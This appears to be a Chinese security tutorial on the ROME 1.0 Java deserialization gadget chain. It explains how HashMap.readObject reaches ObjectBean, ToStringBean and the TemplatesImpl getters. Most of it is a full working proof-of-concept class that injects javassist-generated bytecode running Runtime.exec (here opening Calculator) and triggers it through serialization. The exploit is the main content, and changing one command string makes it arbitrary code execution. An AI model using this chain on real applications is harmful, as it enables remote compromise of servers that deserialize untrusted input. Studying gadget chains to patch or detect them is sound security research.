0x01 前言
1
2
3
4
5
|
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
|
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。
ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
0x02 前置知识
com.sun.syndication.feed.impl.ObjectBean
是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和Object 对象实例进行封装。
ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是EqualsBean/ToStringBean/CloneableBean
类,这三个类为ObjectBean
提供了equals
、toString
、clone
以及hashCode
方法
来看一下ObjectBean
的hashCode
方法,会调用EqualsBean
的beanHashCode
方法
会调用EqualsBean
中保存的_obj
的toString()
方法
这个ToStringBean
的toString()
方法可以触发_obj
实例的全部getter
方法,可以用来触发TemplatesImpl
的利用链
在HashMap
中的readObject
正好调用了hashCode()
方法
构造exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
import javassist.ClassPool;
import javassist.CtClass;
import java.io.IOException;
import java.io.ByteArrayOutputStream;
import javassist.CannotCompileException;
import javassist.NotFoundException;
import java.lang.reflect.Field;
import java.util.UUID;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.util.Base64;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.util.HashMap;
public class Poc {
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();
byte[][] codes = {code};
// TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", null);
setFieldValue(templates, "_bytecodes", codes);
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap<Object, String> map = new HashMap<>();
map.put(objectBean, "huahua");
String payload = serialize(map);
unserialize(payload);
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize(String base) throws IOException, ClassNotFoundException {
byte[] result = Base64.getDecoder().decode(base);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String field, Object arg) throws NoSuchFieldException, IllegalAccessException {
Field f = object.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(object, arg);
}
public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
// 生成一个随机的类名
String randomClassName = "Test_" + UUID.randomUUID().toString().replace("-", "");
CtClass ctClass = classPool.makeClass(randomClassName);
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
}
|